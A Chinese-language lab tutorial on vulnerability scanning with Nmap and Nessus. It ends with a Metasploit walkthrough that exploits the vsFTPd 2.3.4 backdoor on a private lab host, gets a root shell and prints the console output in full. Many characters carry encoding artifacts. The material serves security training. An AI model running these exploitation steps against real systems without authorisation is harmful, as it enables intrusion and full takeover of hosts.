漏洞掃描器對(duì)漏洞進(jìn)行掃描,以驗(yàn)證具體目標(biāo)是否存在對(duì)應(yīng)的具體漏洞。但是也存在錯(cuò)誤掃描,需要對(duì)掃描結(jié)果進(jìn)行漏洞驗(yàn)證。
掃描器的原理大致相同都是通過發(fā)送對(duì)應(yīng)的驗(yàn)證數(shù)據(jù)到目標(biāo)具體服務(wù)進(jìn)行驗(yàn)證。當(dāng)收到目標(biāo)返回的響應(yīng)與存在漏洞的響應(yīng)一致時(shí),就表明存在漏洞。
神器Nmap
萬能的Nmap又來了。這次利用Nmap進(jìn)行漏洞掃描。
--script-args=<n1=v1,[n2=v2,...]>:該參數(shù)是用來傳遞腳本里面的參數(shù)。
--script-args-file=filename:使用文件來為腳本提供參數(shù)。
--script-trace: 顯示所有的腳本收發(fā)請(qǐng)求過程。
--script-updatedb:在Nmap的scripts目錄里有一個(gè)script.db,該文件中保存了當(dāng)前Nmap可用的腳本,類似于一個(gè)小型數(shù)據(jù)庫,如果我們開啟nmap并且調(diào)用了此參數(shù),則nmap會(huì)自行掃描scripts目錄中的擴(kuò)展腳本,進(jìn)行數(shù)據(jù)庫更新。
--script-help=腳本名稱:調(diào)用該參數(shù)后,Nmap會(huì)輸出該腳本名稱對(duì)應(yīng)的腳本使用參數(shù),以及詳細(xì)介紹信息。
root@kali:~# nmap --script vuln 10.0.2.5
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 09:37 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00056s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: OSVDB:73573 CVE:CVE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root)
| References:
| http://osvdb.org/73573
| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_sslv2-drown:
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
...
Nmap的漏洞掃描主要利用腳本進(jìn)行,我們可以看到Nmap一共有589個(gè)漏洞利用、工具腳本。
root@kali:~# ls /usr/share/nmap/scripts/ | wc -l
589
Nmap腳本主要分為以下幾類,在掃描時(shí)可根據(jù)需要設(shè)置--script=類別這種方式進(jìn)行比較籠統(tǒng)的掃描:
| 類別 | 說明 |
|---|---|
| auth | 負(fù)責(zé)處理鑒權(quán)證書(繞開鑒權(quán))的腳本 |
| broadcast | 在局域網(wǎng)內(nèi)探查更多服務(wù)開啟狀況,如dhcp/dns/sqlserver等服務(wù) |
| brute | 提供暴力破解方式,針對(duì)常見的應(yīng)用如http/snmp等 |
| default | 使用-sC或-A選項(xiàng)掃描時(shí)候默認(rèn)的腳本,提供基本腳本掃描能力 |
| discovery | 對(duì)網(wǎng)絡(luò)進(jìn)行更多的信息,如SMB枚舉、SNMP查詢等 |
| dos | 用于進(jìn)行拒絕服務(wù)攻擊 |
| exploit | 利用已知的漏洞入侵系統(tǒng) |
| external | 利用第三方的數(shù)據(jù)庫或資源,例如進(jìn)行whois解析 |
| fuzzer | 模糊測試的腳本,發(fā)送異常的包到目標(biāo)機(jī),探測出潛在漏洞 |
| intrusive | 入侵性的腳本,此類腳本可能引發(fā)對(duì)方的IDS/IPS的記錄或屏蔽 |
| malware | 探測目標(biāo)機(jī)是否感染了病毒、開啟了后門等信息 |
| safe | 此類與intrusive相反,屬于安全性腳本 |
| version | 負(fù)責(zé)增強(qiáng)服務(wù)與版本掃描(Version Detection)功能的腳本 |
| vuln | 負(fù)責(zé)檢查目標(biāo)機(jī)是否有常見的漏洞(Vulnerability),如是否有MS08_06 |
| all | 調(diào)用所有腳本掃描 |
圖形化工具Nessus
Nessus 是目前全世界最多人使用的系統(tǒng)漏洞掃描與分析軟件??偣灿谐^75,000個(gè)機(jī)構(gòu)使用Nessus 作為掃描該機(jī)構(gòu)電腦系統(tǒng)的軟件。
通過官網(wǎng)進(jìn)行下載:https://www.tenable.com/downloads/nessus

安裝Nessus:
root@kali:~# cd ../Downloads/
root@kali:~# dpkg -i Nessus-8.3.1-debian6_amd64.deb
root@kali:~# systemctl start nessusd
訪問連接 https://kali:8843




漏洞利用metasploit
可以看出上面兩個(gè)工具掃描出的結(jié)果并不完全一樣。所以,可以使用多個(gè)掃描器進(jìn)行多次掃描驗(yàn)證相關(guān)漏洞。
root@kali:~# msfconsole
[-] ***rtIng the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v5.0.15-dev ]
+ -- --=[ 1872 exploits - 1061 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 cmd/unix/interact normal No Unix Command, Interact with Established Connection
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.5
rhost => 10.0.2.5
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.0.2.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.5:21 - USER: 331 Please specify the password.
[+] 10.0.2.5:21 - Backdoor service has been spawned, handling...
[+] 10.0.2.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.7:34277 -> 10.0.2.5:6200) at 2019-04-11 12:27:22 -0400
id
uid=0(root) gid=0(root)